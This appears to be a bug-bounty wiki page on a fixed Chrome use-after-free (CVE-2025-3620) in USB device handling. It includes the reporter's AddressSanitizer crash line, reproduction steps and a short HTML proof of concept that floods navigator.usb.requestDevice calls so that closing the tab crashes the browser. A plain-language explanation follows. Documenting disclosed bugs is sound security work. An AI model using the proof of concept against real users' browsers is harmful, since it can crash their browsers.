Use after free in USB (CVE-2025-3620)
A use-after-free memory corruption was found in Chrome's USB device handling. An attacker could potentially crash the browser by repeatedly requesting USB devices and then closing the tab, though exploitability is uncertain.
Originally disclosed on Chrome VRP
- Fix shipped in 26 days
Report description
AddressSanitizer: heap-use-after-free on address 0x7da147715900 at pc 0x55baa6985542 bp 0x7ffe146adfd0 sp 0x7ffe146adfc8
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
This crash was found while reproducing https://issues.chromium.org/issues/40074794.
AddressSanitizer: heap-use-after-free on address 0x7da147715900 at pc 0x55baa6985542 bp 0x7ffe146adfd0 sp 0x7ffe146adfc8
Crash type
browser crash
ENV
ubuntu 22.04.1
Reproduce steps:
- open the
poc.htmlin chromium-asan
<html>
<head>
<script>
async function main() {
dev = null;
await navigator.usb
.requestDevice({ filters: [] })
.then((usbDevice) => {
dev = usbDevice;
console.log(`Product name: ${usbDevice.productName}`);
for (var i=1;i<10000;i++){
navigator.usb
.requestDevice({ filters: [] })
.then((usbDevice) => {
});
}
});
}
</script>
</head>
<body>
<button onclick="main()">click me</button>
</body>
</html>
- click button
click meand select a device, then clickconnect - Try close the tab, then UAF
Please briefly explain who can exploit the vulnerability, and what they gain when doing so
I'm not sure if we can exploit it.
The cause
What version of Chrome have you found the security issue in?
136.0.7079.0 chromium-asan-linux
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Memory Corruption (in a sandboxed processs)
How would you like to be publicly acknowledged for your report?
retsew0x01
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a use-after-free in the USB device handling code, triggered by repeated device requests and tab closure.
Impact
The vulnerability could cause a browser crash, but the reporter is unsure if it can be exploited for more than a denial of service.
What the attacker needed
Victim visits a malicious page; victim selects a USB device; victim closes the tab
How it was found
- Open the provided HTML file in a Chromium ASAN build.
- Click the button and select a USB device, then click connect.
- Close the tab to trigger the use-after-free.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A use-after-free is a type of memory bug where a program keeps using memory after it has been freed, which can lead to crashes or worse. Here, the browser's code for handling USB devices had this flaw, and an attacker could trigger it by making many USB requests and then closing the tab, causing the browser to crash.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.